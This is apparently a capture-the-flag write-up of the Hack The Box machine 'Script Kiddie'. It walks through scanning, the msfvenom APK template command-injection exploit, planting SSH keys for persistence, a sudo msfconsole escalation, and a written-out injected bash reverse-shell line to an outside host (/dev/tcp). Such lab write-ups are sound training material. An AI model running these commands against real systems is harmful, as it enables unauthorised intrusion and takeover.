# Script Kiddie ~ Hack The Box

![Script Kiddie ~ Hack The Box](https://cdn.hashnode.com/res/hashnode/image/upload/v1680985623332/3d3efe3a-5012-4baa-91ef-0fa1317116f5.jpeg)

* * *

### Prerequisite

Just to make life easier I usually add an entry in my hosts file for easier access of the target machine.

    echo "10.129.76.86	scriptkiddie.htb" >> /etc/hosts

![Script Kiddie ~ Hack The Box](https://cdn.hashnode.com/res/hashnode/image/upload/v1680985624384/48c53f61-cd4b-46bc-ba13-fbf8a0b78534.png)

Okay now onto the hacking!

* * *

### Reconnaissance

As always, I started off with an NMAP scan against the machine.

     nmap -Pn -sC -sV -A -p- -oN initial scriptkiddie.htb

    ┌──(root💀kali)-[/home/…/boxes/htb/machines/scriptkiddie]
    └─#  nmap -Pn -sC -sV -A -p- -oN initial scriptkiddie.htb
    Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
    Starting Nmap 7.91 ( https://nmap.org ) at 2021-02-10 09:26 EST
    Nmap scan report for scriptkiddie.htb (10.129.76.86)
    Host is up (0.24s latency).
    Not shown: 65533 closed ports
    PORT     STATE SERVICE VERSION
    22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
    | ssh-hostkey: 
    |   3072 3c:65:6b:c2:df:b9:9d:62:74:27:a7:b8:a9:d3:25:2c (RSA)
    |   256 b9:a1:78:5d:3c:1b:25:e0:3c:ef:67:8d:71:d3:a3:ec (ECDSA)
    |_  256 8b:cf:41:82:c6:ac:ef:91:80:37:7c:c9:45:11:e8:43 (ED25519)
    5000/tcp open  http    Werkzeug httpd 0.16.1 (Python 3.8.5)
    |_http-server-header: Werkzeug/0.16.1 Python/3.8.5
    |_http-title: k1d'5 h4ck3r t00l5
    

### Scanning & Enumeration

Based on the scan that was run, I realized that port 5000 was running a web server. Thus, I went to investigate and this was what I ended up with!

![Script Kiddie ~ Hack The Box](https://cdn.hashnode.com/res/hashnode/image/upload/v1680985625490/c852c2ff-98b6-4481-957f-cca41c1c2c4b.png)

Its some kind of toolkit running on a Linux based box giving the user access to `h4ck3r t00l5`. My next action was to look at how I can abuse this to gain a reverse shell on the remote machine.

After trying out various methods such as uploading reverse shells and intercepting requests to try and find something interesting, I landed on [this](https://www.rapid7.com/db/modules/exploit/unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection/).

![Script Kiddie ~ Hack The Box](https://cdn.hashnode.com/res/hashnode/image/upload/v1680985626606/160c17b7-7c24-4ddc-bd6e-a13a4350ca8e.png)

MSF Venom had a vulnerability where you could perform command injection while providing a APK template to generate payload. This site did allow me to generate my own payload using MSF Venom.

### Exploitation

Upon finding this exploit, I fired up MSF console to generate an APK template to upload and gain reverse shell on the target box. \[[Link to MSF Module](https://raw.githubusercontent.com/rapid7/metasploit-framework/master/modules/exploits/unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection.rb)\]

![Script Kiddie ~ Hack The Box](https://cdn.hashnode.com/res/hashnode/image/upload/v1680985627904/df41c202-bb8f-49d3-bfff-c658123f741e.png)

![Script Kiddie ~ Hack The Box](https://cdn.hashnode.com/res/hashnode/image/upload/v1680985629139/0b9e20d4-f06f-4f8c-b42b-864a09f950ac.png)

Followed by that I went ahead and uploaded the APK "Template file" onto the site's payload section and opened up a Netcat listener on my end to catch any incoming shells.

![Script Kiddie ~ Hack The Box](https://cdn.hashnode.com/res/hashnode/image/upload/v1680985630200/a98a3f2e-ab42-4624-b2fb-aef65e2a9933.png)

![Script Kiddie ~ Hack The Box](https://cdn.hashnode.com/res/hashnode/image/upload/v1680985631236/7a429113-459c-4648-819d-2fee0e5eb006.png)

Once I hit the generate button, my listener successfully caught a reverse shell from the remote machine which I then proceeded to stabilize with the following python mini-script...

    python3 -c 'import pty; pty.spawn("/bin/bash")'

![Script Kiddie ~ Hack The Box](https://cdn.hashnode.com/res/hashnode/image/upload/v1680985632369/ed351b57-afd8-41e5-9eb2-7fa9d2af6c9b.png)

### Maintaining Access

Since I discovered that SSH was running on the server, I generated a new pair of SSH keys and placed the public key on the remote machine!

![Script Kiddie ~ Hack The Box](https://cdn.hashnode.com/res/hashnode/image/upload/v1680985633412/08bfbeda-7d5f-47d6-869e-e12436a57ee1.png)

This allowed me to then SSH into the machine as the `kid` user without any password authentication.

![Script Kiddie ~ Hack The Box](https://cdn.hashnode.com/res/hashnode/image/upload/v1680985634650/55aa3944-0b77-4016-b584-238d616bad58.png)

![Script Kiddie ~ Hack The Box](https://cdn.hashnode.com/res/hashnode/image/upload/v1680985635899/c2b776e3-c997-4f40-9929-61e625e68a4d.png)

Interactive Shell + User Flag~!

### Privilege Escalation \[Level 1\]

![Script Kiddie ~ Hack The Box](https://cdn.hashnode.com/res/hashnode/image/upload/v1680985637071/6ee4f490-8aa5-43e1-b0f5-8bc43ab88568.png)

Looking around the FS, I realized that there was another user named `pwn` and in the user's home directory lived a shell script.

![Script Kiddie ~ Hack The Box](https://cdn.hashnode.com/res/hashnode/image/upload/v1680985638161/a1e08815-2956-4ccf-b1c8-90d8d4b658d7.png)

This shell script seemed to read IPs from a file located at `kid`'s (the user I currently own) home directory and run a `NMAP` scan against it. This script was also owned by the `pwn` user.

My theory was to somehow invoke an entry into the file which would help escape the `NMAP` command and run bash to gain a reverse shell to the `pwn` user account!

    kid@scriptkiddie:~/logs$ echo "NEEPOC  ;/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.153/9876 0>&1' #" >> hackers
    

![Script Kiddie ~ Hack The Box](https://cdn.hashnode.com/res/hashnode/image/upload/v1680985639505/d5b799ff-4ef2-4551-a4f5-c0deff8d1490.png)

And I was able to gain a shell! I then proceeded to do the same thing with the SSH keys and stabilize my shell.

![Script Kiddie ~ Hack The Box](https://cdn.hashnode.com/res/hashnode/image/upload/v1680985641057/ab6e57b4-be3d-43a0-bd0e-e3dd37eaf370.png)

###   
Privilege Escalation \[Level 2\]

Lastly, the path to gain root access to the machine was pretty straight forward. I first ran `sudo -l` to figure out what binaries I was able to run as root.

![Script Kiddie ~ Hack The Box](https://cdn.hashnode.com/res/hashnode/image/upload/v1680985642269/1e283a8b-b4ce-4303-b780-75e2c6d1c60c.png)

This revealed that I was able to run `MSF Console` with root privileges without any password. Thus, I abused this and invoked `/bin/bash` after running `MSF Console` with root privileges.

![Script Kiddie ~ Hack The Box](https://cdn.hashnode.com/res/hashnode/image/upload/v1680985643404/a16ab7f8-630f-4650-b7b9-d02e0fa73625.png)

And that's it, I was able to root this box!